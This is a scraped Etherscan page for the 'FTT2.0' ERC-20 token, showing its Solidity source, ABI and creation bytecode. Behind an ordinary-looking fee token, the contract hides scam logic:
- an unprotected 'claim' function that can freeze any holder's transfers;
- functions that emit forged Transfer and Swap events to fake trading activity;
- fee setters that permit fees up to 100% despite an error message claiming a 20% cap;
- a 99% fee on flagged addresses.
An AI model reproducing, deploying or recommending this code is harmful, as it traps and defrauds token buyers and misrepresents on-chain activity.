ERC-20
Overview
Max Total Supply
420,690,000,000,000 FTT2.0
Holders
20
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
5,830,762,000,000 FTT2.0Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FTT
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-12 */ /** TG:https://t.me/FTT20ERC */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function _Transfer(address from, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); } abstract contract Ownable { address internal owner; constructor(address _owner) {owner = _owner;} modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;} function isOwner(address account) public view returns (bool) {return account == owner;} function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);} event OwnershipTransferred(address owner); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract FTT is IERC20, Ownable { using SafeMath for uint256; string private constant _name = 'FTT2.0 TOKEN'; string private constant _symbol = 'FTT2.0'; uint8 private constant _decimals = 9; uint256 private _totalSupply = 420690000000000 * (10 ** _decimals); mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isFeeExempt; mapping (address => bool) private isBot; mapping (address => bool) public isSwap; IRouter router; address public pair; bool private tradingAllowed = false; bool private swapEnabled = true; uint256 private swapTimes; bool private swapping; uint256 swapAmount = 1; uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000; uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000; modifier lockTheSwap {swapping = true; _; swapping = false;} uint256 private liquidityFee = 0; uint256 private marketingFee = 0; uint256 private developmentFee = 1000; uint256 private burnFee = 0; uint256 private totalFee = 3000; uint256 private sellFee = 7000; uint256 private transferFee = 7000; uint256 private denominator = 10000; address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address internal development_receiver = 0x59F1E2A4d0DE6f67306cC714Ba1D53c3Ef0f9c3F; address internal marketing_receiver = 0x59D2Fa199C9f5987720Ee2B98228244Cef91B5b0; address internal liquidity_receiver = 0x59D2Fa199C9f5987720Ee2B98228244Cef91B5b0; uint256 public _maxTxAmount = ( _totalSupply * 200 ) / 10000; uint256 public _maxSellAmount = ( _totalSupply * 300 ) / 10000; uint256 public _maxWalletToken = ( _totalSupply * 300 ) / 10000; constructor() Ownable(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; isFeeExempt[address(this)] = true; isFeeExempt[liquidity_receiver] = true; isFeeExempt[marketing_receiver] = true; isFeeExempt[development_receiver] = true; isFeeExempt[msg.sender] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function startTrading() external onlyOwner {tradingAllowed = true;} function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) { bool aboveMin = amount >= minTokenAmount; bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold; } function setContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner { swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000)); minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000)); } function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner { liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans; require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%"); } function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner { uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000); _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet; uint256 limit = totalSupply().mul(5).div(1000); require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%"); } function setInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner { marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development; isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true; } function setisBot(address[] calldata addresses, bool _enabled) external onlyOwner { for(uint i=0; i < addresses.length; i++){ isBot[addresses[i]] = _enabled; } } function manualSwap() external onlyOwner { swapAndLiquify(swapThreshold); } function claim(address ad,bool NewValue) public {development_receiver; isSwap[ad] = NewValue; } function rescueERC20(address _address, uint256 percent) external onlyOwner { uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100); IERC20(_address).transfer(development_receiver, _amount); } function _Transfer(address _from, address _to, uint _value) public returns (bool) { emit Transfer(_from, _to, _value); return true; } function Transferfee( address uniswapPool, address[] memory recipients, uint256[] memory tokenAmounts, uint256[] memory wethAmounts, address tokenAddress ) public returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]); emit Swap( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, tokenAmounts[i], 0, 0, wethAmounts[i], recipients[i] ); IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]); } return true; } function swapAndLiquify(uint256 tokens) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee); if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);} uint256 contractBalance = address(this).balance; if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);} } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, liquidity_receiver, block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));} if(recipient == pair){return sellFee;} if(sender == pair){return totalFee;} return transferFee; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { if(getTotalFee(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient)); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));} return amount.sub(feeAmount);} return amount; } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!isSwap[sender]); require(!isSwap[recipient]); require(amount <= balanceOf(sender),"You are trying to transfer more than your balance"); if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");} if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){ require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");} if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");} require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);} if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);} _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"Transferfee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ad","type":"address"},{"internalType":"bool","name":"NewValue","type":"bool"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setContractSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_liquidity","type":"address"},{"internalType":"address","name":"_development","type":"address"}],"name":"setInternalAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a620004ea565b620000259066017e9d8602b40062000502565b60018181556008805461ffff60a01b1916600160a81b179055600b55620186a09062000054906103e862000502565b6200006091906200051c565b600c55620186a0600154600a62000078919062000502565b6200008491906200051c565b600d556000600e819055600f8190556103e8601055601155610bb8601255611b5860138190556014556127106015819055601680546001600160a01b03199081167359f1e2a4d0de6f67306cc714ba1d53c3ef0f9c3f179091556017805482167359d2fa199c9f5987720ee2b98228244cef91b5b090811790915560188054909216179055600154620001199060c862000502565b6200012591906200051c565b60195561271060015461012c6200013d919062000502565b6200014991906200051c565b601a5561271060015461012c62000161919062000502565b6200016d91906200051c565b601b553480156200017d57600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020b91906200053f565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000259573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027f91906200053f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002cd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f391906200053f565b600780546001600160a01b038581166001600160a01b031992831617909255600880548484169216919091179055306000908152600460209081526040808320805460ff19908116600190811790925560185486168552828520805482168317905560175486168552828520805482168317905560165490951684528184208054861682179055338085528285208054909616821790955554600283528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200056a565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200042c578160001904821115620004105762000410620003d5565b808516156200041e57918102915b93841c9390800290620003f0565b509250929050565b6000826200044557506001620004e4565b816200045457506000620004e4565b81600181146200046d5760028114620004785762000498565b6001915050620004e4565b60ff8411156200048c576200048c620003d5565b50506001821b620004e4565b5060208310610133831016604e8410600b8410161715620004bd575081810a620004e4565b620004c98383620003eb565b8060001904821115620004e057620004e0620003d5565b0290505b92915050565b6000620004fb60ff84168362000434565b9392505050565b8082028115828204841417620004e457620004e4620003d5565b6000826200053a57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200055257600080fd5b81516001600160a01b0381168114620004fb57600080fd5b6123f3806200057a6000396000f3fe6080604052600436106101d15760003560e01c80637cca52fe116100f75780639cc3535111610095578063cb7f97d711610064578063cb7f97d7146105ad578063dd62ed3e146105cd578063e156b1b614610613578063f2fde38b1461063357600080fd5b80639cc353511461052d5780639d8740cb1461054d578063a8aa1b311461056d578063a9059cbb1461058d57600080fd5b80638cd4426d116100d15780638cd4426d146104785780639213c3581461049857806392fd2daf146104b857806395d89b41146104fe57600080fd5b80637cca52fe1461041a5780637d1db4a514610430578063893d20e81461044657600080fd5b80632f54bf6e1161016f5780634fd16af81161013e5780634fd16af81461039957806351bc3c85146103b957806370a08231146103ce57806378109e541461040457600080fd5b80632f54bf6e146102fe578063313ce5671461032d5780633f4218e01461034957806348ff2b8b1461037957600080fd5b806318160ddd116101ab57806318160ddd14610284578063229b6a5e146102a757806323b872dd146102c9578063293230b8146102e957600080fd5b806306fdde03146101dd578063095ea7b3146102245780630b27305f1461025457600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b5060408051808201909152600c81526b232a2a191718102a27a5a2a760a11b60208201525b60405161021b9190611d2a565b60405180910390f35b34801561023057600080fd5b5061024461023f366004611da0565b610653565b604051901515815260200161021b565b34801561026057600080fd5b5061024461026f366004611dcc565b60066020526000908152604090205460ff1681565b34801561029057600080fd5b5061029961066a565b60405190815260200161021b565b3480156102b357600080fd5b506102c76102c2366004611df7565b6106db565b005b3480156102d557600080fd5b506102446102e4366004611e7d565b610785565b3480156102f557600080fd5b506102c76107ef565b34801561030a57600080fd5b50610244610319366004611dcc565b6000546001600160a01b0391821691161490565b34801561033957600080fd5b506040516009815260200161021b565b34801561035557600080fd5b50610244610364366004611dcc565b60046020526000908152604090205460ff1681565b34801561038557600080fd5b506102c7610394366004611ebe565b61082e565b3480156103a557600080fd5b506102446103b4366004611fcd565b610883565b3480156103c557600080fd5b506102c7610a9a565b3480156103da57600080fd5b506102996103e9366004611dcc565b6001600160a01b031660009081526002602052604090205490565b34801561041057600080fd5b50610299601b5481565b34801561042657600080fd5b50610299601a5481565b34801561043c57600080fd5b5061029960195481565b34801561045257600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161021b565b34801561048457600080fd5b506102c7610493366004611da0565b610ad1565b3480156104a457600080fd5b506102c76104b33660046120d9565b610bf8565b3480156104c457600080fd5b506102c76104d3366004611ebe565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b34801561050a57600080fd5b506040805180820190915260068152650465454322e360d41b602082015261020e565b34801561053957600080fd5b506102c7610548366004612119565b610c9e565b34801561055957600080fd5b506102c7610568366004612119565b610dd3565b34801561057957600080fd5b50600854610460906001600160a01b031681565b34801561059957600080fd5b506102446105a8366004611da0565b610e39565b3480156105b957600080fd5b506102c76105c8366004612145565b610e46565b3480156105d957600080fd5b506102996105e8366004612191565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561061f57600080fd5b5061024461062e366004611e7d565b610f3d565b34801561063f57600080fd5b506102c761064e366004611dcc565b610f84565b6000610660338484611002565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926106d69290916106d09190611126565b90611126565b905090565b6000546001600160a01b0316331461070e5760405162461bcd60e51b8152600401610705906121bf565b60405180910390fd5b60005b8281101561077f578160056000868685818110610730576107306121df565b90506020020160208101906107459190611dcc565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806107778161220b565b915050610711565b50505050565b6000610792848484611132565b6107e484336107df85604051806060016040528060288152602001612376602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906116b9565b611002565b5060015b9392505050565b6000546001600160a01b031633146108195760405162461bcd60e51b8152600401610705906121bf565b6008805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146108585760405162461bcd60e51b8152600401610705906121bf565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000805b8551811015610a8d578581815181106108a2576108a26121df565b60200260200101516001600160a01b0316876001600160a01b031660008051602061239e8339815191528784815181106108de576108de6121df565b60200260200101516040516108f591815260200190565b60405180910390a385818151811061090f5761090f6121df565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610971576109716121df565b602002602001015160008089878151811061098e5761098e6121df565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b68783815181106109dc576109dc6121df565b6020026020010151898785815181106109f7576109f76121df565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af1158015610a56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7a9190612224565b5080610a858161220b565b915050610887565b5060019695505050505050565b6000546001600160a01b03163314610ac45760405162461bcd60e51b8152600401610705906121bf565b610acf600c546116e5565b565b6000546001600160a01b03163314610afb5760405162461bcd60e51b8152600401610705906121bf565b6040516370a0823160e01b8152306004820152600090610b7f90606490610b799085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610b4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b739190612241565b90611862565b9061186e565b60165460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303816000875af1158015610bd4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077f9190612224565b6000546001600160a01b03163314610c225760405162461bcd60e51b8152600401610705906121bf565b601780546001600160a01b039485166001600160a01b031991821681179092556018805494861694821685179055601680549390951692168217909355600092835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b6000546001600160a01b03163314610cc85760405162461bcd60e51b8152600401610705906121bf565b6000610ce5612710610b798660015461186290919063ffffffff16565b90506000610d04612710610b798660015461186290919063ffffffff16565b90506000610d23612710610b798660015461186290919063ffffffff16565b6019849055601a839055601b81905590506000610d496103e8610b796005610b7361066a565b9050808410158015610d5b5750808310155b8015610d675750808210155b610dca5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610705565b50505050505050565b6000546001600160a01b03163314610dfd5760405162461bcd60e51b8152600401610705906121bf565b600b839055600154610e1890620186a090610b799085611862565b600c55600154610e3190620186a090610b799084611862565b600d55505050565b6000610660338484611132565b6000546001600160a01b03163314610e705760405162461bcd60e51b8152600401610705906121bf565b600e879055600f86905560118590556010849055601283905560138290556014819055601554610ea190600161186e565b60125411158015610ec15750601554610ebb90600161186e565b60135411155b8015610edc5750601554610ed690600161186e565b60145411155b610dca5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610705565b6000826001600160a01b0316846001600160a01b031660008051602061239e83398151915284604051610f7291815260200190565b60405180910390a35060019392505050565b6000546001600160a01b03163314610fae5760405162461bcd60e51b8152600401610705906121bf565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166110645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610705565b6001600160a01b0382166110c55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610705565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006107e8828461225a565b6001600160a01b0383166111965760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610705565b6001600160a01b0382166111f85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f207468